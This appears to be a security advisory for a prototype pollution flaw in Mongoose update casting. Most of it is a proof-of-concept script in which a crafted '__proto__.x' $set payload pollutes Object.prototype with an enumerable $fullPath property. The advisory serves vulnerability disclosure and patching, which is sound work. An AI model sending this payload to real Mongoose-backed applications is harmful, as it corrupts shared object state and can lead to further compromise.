GHSA-664h-wqgq-64gw: Mongoose: Prototype pollution in mongoose update casting via __proto__-prefixed dotted path (Schema._getSchema/path getter)

const mongoose = require('mongoose');
console.log('before:', Object.prototype.$fullPath);            // undefined

const User = mongoose.model('User', new mongoose.Schema({ name: String }));
const malicious = JSON.parse('{"$set": {"__proto__.x": "anything"}}');   // attacker-controlled update

const q = User.updateOne({}, {});
try { q._castUpdate(malicious); } catch (e) { /* throws AFTER the pollution side-effect */ }

console.log('after :', Object.prototype.$fullPath);            // "__proto__"
console.log('enumerable:', Object.prototype.propertyIsEnumerable('$fullPath'));  // true
console.log('fresh {}:', ({}).$fullPath);                      // "__proto__"